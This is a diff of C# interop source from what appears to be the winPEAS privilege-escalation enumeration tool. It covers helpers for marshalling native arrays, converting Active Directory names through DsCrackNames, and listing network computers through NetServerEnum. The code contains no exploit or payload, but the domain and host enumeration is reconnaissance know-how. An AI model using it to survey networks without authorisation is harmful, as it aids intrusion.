/// <typeparam name="T">Output type for the CLI array. <typeparamref name="TS"/> must be able to convert to <typeparamref name="T"/>.</typeparam>
|
/// <typeparam name="T">Output type for the CLI array. <typeparamref name="TS"/> must be able to convert to <typeparamref name="T"/>.</typeparam>
|
||||||
/// <param name="ptr">The <see cref="IntPtr"/> pointing to the native array.</param>
|
/// <param name="ptr">The <see cref="IntPtr"/> pointing to the native array.</param>
|
||||||
/// <param name="count">The number of items in the native array.</param>
|
/// <param name="count">The number of items in the native array.</param>
|
||||||
/// <returns>An array of type <typeparamref name="T"/> containing the converted elements of the native array.</returns>
|
/// <returns>An array of type <typeparamref name="T"/> containing the converted elements of the native array.</returns>
|
||||||
public static T[] ToArray<TS, T>(IntPtr ptr, int count) where TS : IConvertible
|
public static T[] ToArray<TS, T>(IntPtr ptr, int count) where TS : IConvertible
|
||||||
{
|
{
|
||||||
var ret = new T[count];
|
var ret = new T[count];
|
||||||
var stSize = Marshal.SizeOf(typeof(TS));
|
var stSize = Marshal.SizeOf(typeof(TS));
|
||||||
for (var i = 0; i < count; i++)
|
for (var i = 0; i < count; i++)
|
||||||
{
|
{
|
||||||
var tempPtr = new IntPtr(ptr.ToInt64() + (i * stSize));
|
var tempPtr = new IntPtr(ptr.ToInt64() + (i * stSize));
|
||||||
var val = ToStructure<TS>(tempPtr);
|
var val = ToStructure<TS>(tempPtr);
|
||||||
ret[i] = (T)Convert.ChangeType(val, typeof(T));
|
ret[i] = (T)Convert.ChangeType(val, typeof(T));
|
||||||
}
|
}
|
||||||
return ret;
|
return ret;
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Converts an <see cref="IntPtr"/> that points to a C-style array into a CLI array.
|
/// Converts an <see cref="IntPtr"/> that points to a C-style array into a CLI array.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <typeparam name="T">Type of native structure used by the C-style array.</typeparam>
|
/// <typeparam name="T">Type of native structure used by the C-style array.</typeparam>
|
||||||
/// <param name="ptr">The <see cref="IntPtr"/> pointing to the native array.</param>
|
/// <param name="ptr">The <see cref="IntPtr"/> pointing to the native array.</param>
|
||||||
/// <param name="count">The number of items in the native array.</param>
|
/// <param name="count">The number of items in the native array.</param>
|
||||||
/// <returns>An array of type <typeparamref name="T"/> containing the elements of the native array.</returns>
|
/// <returns>An array of type <typeparamref name="T"/> containing the elements of the native array.</returns>
|
||||||
public static T[] ToArray<T>(IntPtr ptr, int count)
|
public static T[] ToArray<T>(IntPtr ptr, int count)
|
||||||
{
|
{
|
||||||
var ret = new T[count];
|
var ret = new T[count];
|
||||||
var stSize = Marshal.SizeOf(typeof(T));
|
var stSize = Marshal.SizeOf(typeof(T));
|
||||||
for (var i = 0; i < count; i++)
|
for (var i = 0; i < count; i++)
|
||||||
{
|
{
|
||||||
var tempPtr = new IntPtr(ptr.ToInt64() + (i * stSize));
|
var tempPtr = new IntPtr(ptr.ToInt64() + (i * stSize));
|
||||||
ret[i] = ToStructure<T>(tempPtr);
|
ret[i] = ToStructure<T>(tempPtr);
|
||||||
}
|
}
|
||||||
return ret;
|
return ret;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
internal class ComEnumerator<T, TIn> : IEnumerator<T> where T : class where TIn : class
|
internal class ComEnumerator<T, TIn> : IEnumerator<T> where T : class where TIn : class
|
||||||
{
|
{
|
||||||
protected readonly Func<TIn, T> converter;
|
protected readonly Func<TIn, T> converter;
|
||||||
protected IEnumerator<TIn> iEnum;
|
protected IEnumerator<TIn> iEnum;
|
||||||
|
|
||||||
public ComEnumerator(Func<int> getCount, Func<int, TIn> indexer, Func<TIn, T> converter)
|
public ComEnumerator(Func<int> getCount, Func<int, TIn> indexer, Func<TIn, T> converter)
|
||||||
{
|
{
|
||||||
IEnumerator<TIn> Enumerate()
|
IEnumerator<TIn> Enumerate()
|
||||||
{
|
{
|
||||||
for (var x = 1; x <= getCount(); x++)
|
for (var x = 1; x <= getCount(); x++)
|
||||||
yield return indexer(x);
|
yield return indexer(x);
|
||||||
}
|
}
|
||||||
|
|
||||||
this.converter = converter;
|
this.converter = converter;
|
||||||
iEnum = Enumerate();
|
iEnum = Enumerate();
|
||||||
}
|
}
|
||||||
|
|
||||||
public ComEnumerator(Func<int> getCount, Func<object, TIn> indexer, Func<TIn, T> converter)
|
public ComEnumerator(Func<int> getCount, Func<object, TIn> indexer, Func<TIn, T> converter)
|
||||||
{
|
{
|
||||||
IEnumerator<TIn> Enumerate()
|
IEnumerator<TIn> Enumerate()
|
||||||
{
|
{
|
||||||
for (var x = 1; x <= getCount(); x++)
|
for (var x = 1; x <= getCount(); x++)
|
||||||
yield return indexer(x);
|
yield return indexer(x);
|
||||||
}
|
}
|
||||||
|
|
||||||
this.converter = converter;
|
this.converter = converter;
|
||||||
iEnum = Enumerate();
|
iEnum = Enumerate();
|
||||||
}
|
}
|
||||||
|
|
||||||
object IEnumerator.Current => Current;
|
object IEnumerator.Current => Current;
|
||||||
|
|
||||||
public virtual T Current => converter(iEnum?.Current);
|
public virtual T Current => converter(iEnum?.Current);
|
||||||
|
|
||||||
public virtual void Dispose()
|
public virtual void Dispose()
|
||||||
{
|
{
|
||||||
iEnum?.Dispose();
|
iEnum?.Dispose();
|
||||||
iEnum = null;
|
iEnum = null;
|
||||||
}
|
}
|
||||||
|
|
||||||
public virtual bool MoveNext() => iEnum?.MoveNext() ?? false;
|
public virtual bool MoveNext() => iEnum?.MoveNext() ?? false;
|
||||||
|
|
||||||
public virtual void Reset()
|
public virtual void Reset()
|
||||||
{
|
{
|
||||||
iEnum?.Reset();
|
iEnum?.Reset();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -8,145 +8,145 @@ using winPEAS.Native.Enums;
|
|||||||
namespace winPEAS.TaskScheduler.TaskEditor.Native
|
namespace winPEAS.TaskScheduler.TaskEditor.Native
|
||||||
{
|
{
|
||||||
internal static partial class NativeMethods
|
internal static partial class NativeMethods
|
||||||
{
|
{
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function.
|
/// Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
public enum DS_NAME_ERROR : uint
|
public enum DS_NAME_ERROR : uint
|
||||||
{
|
{
|
||||||
/// <summary>The conversion was successful.</summary>
|
/// <summary>The conversion was successful.</summary>
|
||||||
DS_NAME_NO_ERROR = 0,
|
DS_NAME_NO_ERROR = 0,
|
||||||
|
|
||||||
///<summary>Generic processing error occurred.</summary>
|
///<summary>Generic processing error occurred.</summary>
|
||||||
DS_NAME_ERROR_RESOLVING = 1,
|
DS_NAME_ERROR_RESOLVING = 1,
|
||||||
|
|
||||||
///<summary>The name cannot be found or the caller does not have permission to access the name.</summary>
|
///<summary>The name cannot be found or the caller does not have permission to access the name.</summary>
|
||||||
DS_NAME_ERROR_NOT_FOUND = 2,
|
DS_NAME_ERROR_NOT_FOUND = 2,
|
||||||
|
|
||||||
///<summary>The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found.</summary>
|
///<summary>The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found.</summary>
|
||||||
DS_NAME_ERROR_NOT_UNIQUE = 3,
|
DS_NAME_ERROR_NOT_UNIQUE = 3,
|
||||||
|
|
||||||
///<summary>The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes.</summary>
|
///<summary>The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes.</summary>
|
||||||
DS_NAME_ERROR_NO_MAPPING = 4,
|
DS_NAME_ERROR_NO_MAPPING = 4,
|
||||||
|
|
||||||
///<summary>Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified.</summary>
|
///<summary>Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified.</summary>
|
||||||
DS_NAME_ERROR_DOMAIN_ONLY = 5,
|
DS_NAME_ERROR_DOMAIN_ONLY = 5,
|
||||||
|
|
||||||
///<summary>A syntactical mapping cannot be performed on the client without transmitting over the network.</summary>
|
///<summary>A syntactical mapping cannot be performed on the client without transmitting over the network.</summary>
|
||||||
DS_NAME_ERROR_NO_SYNTACTICAL_MAPPING = 6,
|
DS_NAME_ERROR_NO_SYNTACTICAL_MAPPING = 6,
|
||||||
|
|
||||||
///<summary>The name is from an external trusted forest.</summary>
|
///<summary>The name is from an external trusted forest.</summary>
|
||||||
DS_NAME_ERROR_TRUST_REFERRAL = 7
|
DS_NAME_ERROR_TRUST_REFERRAL = 7
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Class that provides methods against a AD domain service.
|
/// Class that provides methods against a AD domain service.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <seealso cref="System.IDisposable" />
|
/// <seealso cref="System.IDisposable" />
|
||||||
[SuppressUnmanagedCodeSecurity, ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
|
[SuppressUnmanagedCodeSecurity, ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
|
||||||
public class DomainService : IDisposable
|
public class DomainService : IDisposable
|
||||||
{
|
{
|
||||||
IntPtr handle = IntPtr.Zero;
|
IntPtr handle = IntPtr.Zero;
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Initializes a new instance of the <see cref="DomainService"/> class.
|
/// Initializes a new instance of the <see cref="DomainService"/> class.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="domainControllerName">Name of the domain controller.</param>
|
/// <param name="domainControllerName">Name of the domain controller.</param>
|
||||||
/// <param name="dnsDomainName">Name of the DNS domain.</param>
|
/// <param name="dnsDomainName">Name of the DNS domain.</param>
|
||||||
/// <exception cref="System.ComponentModel.Win32Exception"></exception>
|
/// <exception cref="System.ComponentModel.Win32Exception"></exception>
|
||||||
public DomainService(string domainControllerName = null, string dnsDomainName = null)
|
public DomainService(string domainControllerName = null, string dnsDomainName = null)
|
||||||
{
|
{
|
||||||
Ntdsapi.DsBind(domainControllerName, dnsDomainName, out handle);
|
Ntdsapi.DsBind(domainControllerName, dnsDomainName, out handle);
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Converts a directory service object name from any format to the UPN.
|
/// Converts a directory service object name from any format to the UPN.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="name">The name to convert.</param>
|
/// <param name="name">The name to convert.</param>
|
||||||
/// <returns>The corresponding UPN.</returns>
|
/// <returns>The corresponding UPN.</returns>
|
||||||
/// <exception cref="System.Security.SecurityException">Unable to resolve user name.</exception>
|
/// <exception cref="System.Security.SecurityException">Unable to resolve user name.</exception>
|
||||||
public string CrackName(string name)
|
public string CrackName(string name)
|
||||||
{
|
{
|
||||||
var res = CrackNames(new string[] { name });
|
var res = CrackNames(new string[] { name });
|
||||||
if (res == null || res.Length == 0 || res[0].status != NativeMethods.DS_NAME_ERROR.DS_NAME_NO_ERROR)
|
if (res == null || res.Length == 0 || res[0].status != DS_NAME_ERROR.DS_NAME_NO_ERROR)
|
||||||
throw new SecurityException("Unable to resolve user name.");
|
throw new SecurityException("Unable to resolve user name.");
|
||||||
return res[0].pName;
|
return res[0].pName;
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects.
|
/// Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="names">The names to convert.</param>
|
/// <param name="names">The names to convert.</param>
|
||||||
/// <param name="flags">Values used to determine how the name syntax will be cracked.</param>
|
/// <param name="flags">Values used to determine how the name syntax will be cracked.</param>
|
||||||
/// <param name="formatOffered">Format of the input names.</param>
|
/// <param name="formatOffered">Format of the input names.</param>
|
||||||
/// <param name="formatDesired">Desired format for the output names.</param>
|
/// <param name="formatDesired">Desired format for the output names.</param>
|
||||||
/// <returns>An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name.</returns>
|
/// <returns>An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name.</returns>
|
||||||
public DS_NAME_RESULT_ITEM[] CrackNames(string[] names = null, DS_NAME_FLAGS flags = DS_NAME_FLAGS.DS_NAME_NO_FLAGS, DS_NAME_FORMAT formatOffered = DS_NAME_FORMAT.DS_UNKNOWN_NAME, DS_NAME_FORMAT formatDesired = DS_NAME_FORMAT.DS_USER_PRINCIPAL_NAME)
|
public DS_NAME_RESULT_ITEM[] CrackNames(string[] names = null, DS_NAME_FLAGS flags = DS_NAME_FLAGS.DS_NAME_NO_FLAGS, DS_NAME_FORMAT formatOffered = DS_NAME_FORMAT.DS_UNKNOWN_NAME, DS_NAME_FORMAT formatDesired = DS_NAME_FORMAT.DS_USER_PRINCIPAL_NAME)
|
||||||
{
|
{
|
||||||
IntPtr pResult;
|
IntPtr pResult;
|
||||||
uint err = Ntdsapi.DsCrackNames(handle, flags, formatOffered, formatDesired, (uint)(names?.Length ?? 0), names, out pResult);
|
uint err = Ntdsapi.DsCrackNames(handle, flags, formatOffered, formatDesired, (uint)(names?.Length ?? 0), names, out pResult);
|
||||||
if (err != (uint)DS_NAME_ERROR.DS_NAME_NO_ERROR)
|
if (err != (uint)DS_NAME_ERROR.DS_NAME_NO_ERROR)
|
||||||
throw new System.ComponentModel.Win32Exception((int)err);
|
throw new System.ComponentModel.Win32Exception((int)err);
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
// Next convert the returned structure to managed environment
|
// Next convert the returned structure to managed environment
|
||||||
DS_NAME_RESULT Result = (DS_NAME_RESULT)Marshal.PtrToStructure(pResult, typeof(DS_NAME_RESULT));
|
DS_NAME_RESULT Result = (DS_NAME_RESULT)Marshal.PtrToStructure(pResult, typeof(DS_NAME_RESULT));
|
||||||
return Result.Items;
|
return Result.Items;
|
||||||
}
|
}
|
||||||
finally
|
finally
|
||||||
{
|
{
|
||||||
Ntdsapi.DsFreeNameResult(pResult);
|
Ntdsapi.DsFreeNameResult(pResult);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void Dispose()
|
public void Dispose()
|
||||||
{
|
{
|
||||||
uint ret = Ntdsapi.DsUnBind(ref handle);
|
uint ret = Ntdsapi.DsUnBind(ref handle);
|
||||||
System.Diagnostics.Debug.WriteLineIf(ret != 0, "Error unbinding :\t" + ret.ToString());
|
System.Diagnostics.Debug.WriteLineIf(ret != 0, "Error unbinding :\t" + ret.ToString());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
|
||||||
public struct DS_NAME_RESULT
|
public struct DS_NAME_RESULT
|
||||||
{
|
{
|
||||||
public uint cItems;
|
public uint cItems;
|
||||||
internal IntPtr rItems; // PDS_NAME_RESULT_ITEM
|
internal IntPtr rItems; // PDS_NAME_RESULT_ITEM
|
||||||
|
|
||||||
public DS_NAME_RESULT_ITEM[] Items
|
public DS_NAME_RESULT_ITEM[] Items
|
||||||
{
|
{
|
||||||
get
|
get
|
||||||
{
|
{
|
||||||
if (rItems == IntPtr.Zero)
|
if (rItems == IntPtr.Zero)
|
||||||
return new DS_NAME_RESULT_ITEM[0];
|
return new DS_NAME_RESULT_ITEM[0];
|
||||||
var ResultArray = new DS_NAME_RESULT_ITEM[cItems];
|
var ResultArray = new DS_NAME_RESULT_ITEM[cItems];
|
||||||
Type strType = typeof(DS_NAME_RESULT_ITEM);
|
Type strType = typeof(DS_NAME_RESULT_ITEM);
|
||||||
int stSize = Marshal.SizeOf(strType);
|
int stSize = Marshal.SizeOf(strType);
|
||||||
IntPtr curptr;
|
IntPtr curptr;
|
||||||
for (uint i = 0; i < cItems; i++)
|
for (uint i = 0; i < cItems; i++)
|
||||||
{
|
{
|
||||||
curptr = new IntPtr(rItems.ToInt64() + (i * stSize));
|
curptr = new IntPtr(rItems.ToInt64() + (i * stSize));
|
||||||
ResultArray[i] = (DS_NAME_RESULT_ITEM)Marshal.PtrToStructure(curptr, strType);
|
ResultArray[i] = (DS_NAME_RESULT_ITEM)Marshal.PtrToStructure(curptr, strType);
|
||||||
}
|
}
|
||||||
return ResultArray;
|
return ResultArray;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
|
||||||
public struct DS_NAME_RESULT_ITEM
|
public struct DS_NAME_RESULT_ITEM
|
||||||
{
|
{
|
||||||
public DS_NAME_ERROR status;
|
public DS_NAME_ERROR status;
|
||||||
public string pDomain;
|
public string pDomain;
|
||||||
public string pName;
|
public string pName;
|
||||||
|
|
||||||
public override string ToString()
|
public override string ToString()
|
||||||
{
|
{
|
||||||
if (status == DS_NAME_ERROR.DS_NAME_NO_ERROR)
|
if (status == DS_NAME_ERROR.DS_NAME_NO_ERROR)
|
||||||
return pName;
|
return pName;
|
||||||
return string.Empty;
|
return string.Empty;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,131 +7,131 @@ using winPEAS.Native.Enums;
|
|||||||
namespace winPEAS.TaskScheduler.TaskEditor.Native
|
namespace winPEAS.TaskScheduler.TaskEditor.Native
|
||||||
{
|
{
|
||||||
internal static partial class NativeMethods
|
internal static partial class NativeMethods
|
||||||
{
|
{
|
||||||
const int MAX_PREFERRED_LENGTH = -1;
|
const int MAX_PREFERRED_LENGTH = -1;
|
||||||
|
|
||||||
public enum ServerPlatform
|
public enum ServerPlatform
|
||||||
{
|
{
|
||||||
DOS = 300,
|
DOS = 300,
|
||||||
OS2 = 400,
|
OS2 = 400,
|
||||||
NT = 500,
|
NT = 500,
|
||||||
OSF = 600,
|
OSF = 600,
|
||||||
VMS = 700
|
VMS = 700
|
||||||
}
|
}
|
||||||
|
|
||||||
[StructLayout(LayoutKind.Sequential)]
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
public struct SERVER_INFO_100
|
public struct SERVER_INFO_100
|
||||||
{
|
{
|
||||||
public ServerPlatform PlatformId;
|
public ServerPlatform PlatformId;
|
||||||
[MarshalAs(UnmanagedType.LPWStr)]
|
[MarshalAs(UnmanagedType.LPWStr)]
|
||||||
public string Name;
|
public string Name;
|
||||||
}
|
}
|
||||||
|
|
||||||
[StructLayout(LayoutKind.Sequential)]
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
public struct SERVER_INFO_101
|
public struct SERVER_INFO_101
|
||||||
{
|
{
|
||||||
public ServerPlatform PlatformId;
|
public ServerPlatform PlatformId;
|
||||||
[MarshalAs(UnmanagedType.LPWStr)]
|
[MarshalAs(UnmanagedType.LPWStr)]
|
||||||
public string Name;
|
public string Name;
|
||||||
public int VersionMajor;
|
public int VersionMajor;
|
||||||
public int VersionMinor;
|
public int VersionMinor;
|
||||||
public ServerTypes Type;
|
public ServerTypes Type;
|
||||||
[MarshalAs(UnmanagedType.LPWStr)]
|
[MarshalAs(UnmanagedType.LPWStr)]
|
||||||
public string Comment;
|
public string Comment;
|
||||||
}
|
}
|
||||||
|
|
||||||
[StructLayout(LayoutKind.Sequential)]
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
public struct SERVER_INFO_102
|
public struct SERVER_INFO_102
|
||||||
{
|
{
|
||||||
public ServerPlatform PlatformId;
|
public ServerPlatform PlatformId;
|
||||||
[MarshalAs(UnmanagedType.LPWStr)]
|
[MarshalAs(UnmanagedType.LPWStr)]
|
||||||
public string Name;
|
public string Name;
|
||||||
public int VersionMajor;
|
public int VersionMajor;
|
||||||
public int VersionMinor;
|
public int VersionMinor;
|
||||||
public ServerTypes Type;
|
public ServerTypes Type;
|
||||||
[MarshalAs(UnmanagedType.LPWStr)]
|
[MarshalAs(UnmanagedType.LPWStr)]
|
||||||
public string Comment;
|
public string Comment;
|
||||||
public int MaxUsers;
|
public int MaxUsers;
|
||||||
public int AutoDisconnectMinutes;
|
public int AutoDisconnectMinutes;
|
||||||
[MarshalAs(UnmanagedType.Bool)]
|
[MarshalAs(UnmanagedType.Bool)]
|
||||||
public bool Hidden;
|
public bool Hidden;
|
||||||
public int NetworkAnnounceRate;
|
public int NetworkAnnounceRate;
|
||||||
public int NetworkAnnounceRateDelta;
|
public int NetworkAnnounceRateDelta;
|
||||||
public int UsersPerLicense;
|
public int UsersPerLicense;
|
||||||
[MarshalAs(UnmanagedType.LPWStr)]
|
[MarshalAs(UnmanagedType.LPWStr)]
|
||||||
public string UserDirectoryPath;
|
public string UserDirectoryPath;
|
||||||
}
|
}
|
||||||
|
|
||||||
[StructLayout(LayoutKind.Sequential)]
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
public struct NetworkComputerInfo // SERVER_INFO_101
|
public struct NetworkComputerInfo // SERVER_INFO_101
|
||||||
{
|
{
|
||||||
ServerPlatform sv101_platform_id;
|
ServerPlatform sv101_platform_id;
|
||||||
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
|
[MarshalAs(UnmanagedType.LPWStr)]
|
||||||
string sv101_name;
|
string sv101_name;
|
||||||
int sv101_version_major;
|
int sv101_version_major;
|
||||||
int sv101_version_minor;
|
int sv101_version_minor;
|
||||||
ServerTypes sv101_type;
|
ServerTypes sv101_type;
|
||||||
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
|
[MarshalAs(UnmanagedType.LPWStr)]
|
||||||
string sv101_comment;
|
string sv101_comment;
|
||||||
|
|
||||||
public ServerPlatform Platform => sv101_platform_id;
|
public ServerPlatform Platform => sv101_platform_id;
|
||||||
public string Name => sv101_name;
|
public string Name => sv101_name;
|
||||||
public string Comment => sv101_comment;
|
public string Comment => sv101_comment;
|
||||||
public ServerTypes ServerTypes => sv101_type;
|
public ServerTypes ServerTypes => sv101_type;
|
||||||
public Version Version => new Version(sv101_version_major, sv101_version_minor);
|
public Version Version => new Version(sv101_version_major, sv101_version_minor);
|
||||||
};
|
};
|
||||||
|
|
||||||
public static IEnumerable<string> GetNetworkComputerNames(ServerTypes serverTypes = ServerTypes.Workstation | ServerTypes.Server, string domain = null) =>
|
public static IEnumerable<string> GetNetworkComputerNames(ServerTypes serverTypes = ServerTypes.Workstation | ServerTypes.Server, string domain = null) =>
|
||||||
Array.ConvertAll(NetServerEnum<SERVER_INFO_100>(serverTypes, domain), si => si.Name);
|
Array.ConvertAll(NetServerEnum<SERVER_INFO_100>(serverTypes, domain), si => si.Name);
|
||||||
|
|
||||||
public static IEnumerable<NetworkComputerInfo> GetNetworkComputerInfo(ServerTypes serverTypes = ServerTypes.Workstation | ServerTypes.Server, string domain = null) =>
|
public static IEnumerable<NetworkComputerInfo> GetNetworkComputerInfo(ServerTypes serverTypes = ServerTypes.Workstation | ServerTypes.Server, string domain = null) =>
|
||||||
NetServerEnum<NetworkComputerInfo>(serverTypes, domain, 101);
|
NetServerEnum<NetworkComputerInfo>(serverTypes, domain, 101);
|
||||||
|
|
||||||
public static T[] NetServerEnum<T>(ServerTypes serverTypes = ServerTypes.Workstation | ServerTypes.Server, string domain = null, int level = 0) where T : struct
|
public static T[] NetServerEnum<T>(ServerTypes serverTypes = ServerTypes.Workstation | ServerTypes.Server, string domain = null, int level = 0) where T : struct
|
||||||
{
|
{
|
||||||
if (level == 0)
|
if (level == 0)
|
||||||
level = int.Parse(System.Text.RegularExpressions.Regex.Replace(typeof(T).Name, @"[^\d]", ""));
|
level = int.Parse(System.Text.RegularExpressions.Regex.Replace(typeof(T).Name, @"[^\d]", ""));
|
||||||
|
|
||||||
IntPtr bufptr = IntPtr.Zero;
|
IntPtr bufptr = IntPtr.Zero;
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
int entriesRead, totalEntries;
|
int entriesRead, totalEntries;
|
||||||
IntPtr resumeHandle = IntPtr.Zero;
|
IntPtr resumeHandle = IntPtr.Zero;
|
||||||
|
|
||||||
int ret = Netapi32.NetServerEnum(null, level, out bufptr, MAX_PREFERRED_LENGTH, out entriesRead, out totalEntries, serverTypes, domain, resumeHandle);
|
int ret = Netapi32.NetServerEnum(null, level, out bufptr, MAX_PREFERRED_LENGTH, out entriesRead, out totalEntries, serverTypes, domain, resumeHandle);
|
||||||
if (ret == 0)
|
if (ret == 0)
|
||||||
return InteropUtil.ToArray<T>(bufptr, entriesRead);
|
return InteropUtil.ToArray<T>(bufptr, entriesRead);
|
||||||
throw new System.ComponentModel.Win32Exception(ret);
|
throw new System.ComponentModel.Win32Exception(ret);
|
||||||
}
|
}
|
||||||
finally
|
finally
|
||||||
{
|
{
|
||||||
Netapi32.NetApiBufferFree(bufptr);
|
Netapi32.NetApiBufferFree(bufptr);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static T NetServerGetInfo<T>(string serverName, int level = 0) where T : struct
|
public static T NetServerGetInfo<T>(string serverName, int level = 0) where T : struct
|
||||||
{
|
{
|
||||||
if (level == 0)
|
if (level == 0)
|
||||||
level = int.Parse(System.Text.RegularExpressions.Regex.Replace(typeof(T).Name, @"[^\d]", ""));
|
level = int.Parse(System.Text.RegularExpressions.Regex.Replace(typeof(T).Name, @"[^\d]", ""));
|
||||||
|
|
||||||
IntPtr ptr = IntPtr.Zero;
|
IntPtr ptr = IntPtr.Zero;
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
int ret = Netapi32.NetServerGetInfo(serverName, level, out ptr);
|
int ret = Netapi32.NetServerGetInfo(serverName, level, out ptr);
|
||||||
if (ret != 0)
|
if (ret != 0)
|
||||||
{
|
{
|
||||||
throw new System.ComponentModel.Win32Exception(ret);
|
throw new System.ComponentModel.Win32Exception(ret);
|
||||||
}
|
}
|
||||||
|
|
||||||
return (T)Marshal.PtrToStructure(ptr, typeof(T));
|
return (T)Marshal.PtrToStructure(ptr, typeof(T));
|
||||||
}
|
}
|
||||||
finally
|
finally
|
||||||
{
|
{
|
||||||
if (ptr != IntPtr.Zero)
|
if (ptr != IntPtr.Zero)
|
||||||
{
|
{
|
||||||
Netapi32.NetApiBufferFree(ptr);
|
Netapi32.NetApiBufferFree(ptr);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,114 +3,114 @@ using System.Runtime.InteropServices;
|
|||||||
|
|
||||||
namespace winPEAS.TaskScheduler.TaskEditor.Native
|
namespace winPEAS.TaskScheduler.TaskEditor.Native
|
||||||
{
|
{
|
||||||
internal static partial class NativeMethods
|
internal static partial class NativeMethods
|
||||||
{
|
{
|
||||||
[StructLayout(LayoutKind.Sequential, Pack = 2)]
|
[StructLayout(LayoutKind.Sequential, Pack = 2)]
|
||||||
internal struct SYSTEMTIME : IConvertible
|
internal struct SYSTEMTIME : IConvertible
|
||||||
{
|
{
|
||||||
public ushort Year;
|
public ushort Year;
|
||||||
public ushort Month;
|
public ushort Month;
|
||||||
public ushort DayOfWeek;
|
public ushort DayOfWeek;
|
||||||
public ushort Day;
|
public ushort Day;
|
||||||
public ushort Hour;
|
public ushort Hour;
|
||||||
public ushort Minute;
|
public ushort Minute;
|
||||||
public ushort Second;
|
public ushort Second;
|
||||||
public ushort Milliseconds;
|
public ushort Milliseconds;
|
||||||
|
|
||||||
public SYSTEMTIME(DateTime dt)
|
public SYSTEMTIME(DateTime dt)
|
||||||
{
|
{
|
||||||
dt = dt.ToLocalTime();
|
dt = dt.ToLocalTime();
|
||||||
Year = Convert.ToUInt16(dt.Year);
|
Year = Convert.ToUInt16(dt.Year);
|
||||||
Month = Convert.ToUInt16(dt.Month);
|
Month = Convert.ToUInt16(dt.Month);
|
||||||
DayOfWeek = Convert.ToUInt16(dt.DayOfWeek);
|
DayOfWeek = Convert.ToUInt16(dt.DayOfWeek);
|
||||||
Day = Convert.ToUInt16(dt.Day);
|
Day = Convert.ToUInt16(dt.Day);
|
||||||
Hour = Convert.ToUInt16(dt.Hour);
|
Hour = Convert.ToUInt16(dt.Hour);
|
||||||
Minute = Convert.ToUInt16(dt.Minute);
|
Minute = Convert.ToUInt16(dt.Minute);
|
||||||
Second = Convert.ToUInt16(dt.Second);
|
Second = Convert.ToUInt16(dt.Second);
|
||||||
Milliseconds = Convert.ToUInt16(dt.Millisecond);
|
Milliseconds = Convert.ToUInt16(dt.Millisecond);
|
||||||
}
|
}
|
||||||
|
|
||||||
public SYSTEMTIME(ushort year, ushort month, ushort day, ushort hour = 0, ushort minute = 0, ushort second = 0, ushort millisecond = 0)
|
public SYSTEMTIME(ushort year, ushort month, ushort day, ushort hour = 0, ushort minute = 0, ushort second = 0, ushort millisecond = 0)
|
||||||
{
|
{
|
||||||
Year = year;
|
Year = year;
|
||||||
Month = month;
|
Month = month;
|
||||||
Day = day;
|
Day = day;
|
||||||
Hour = hour;
|
Hour = hour;
|
||||||
Minute = minute;
|
Minute = minute;
|
||||||
Second = second;
|
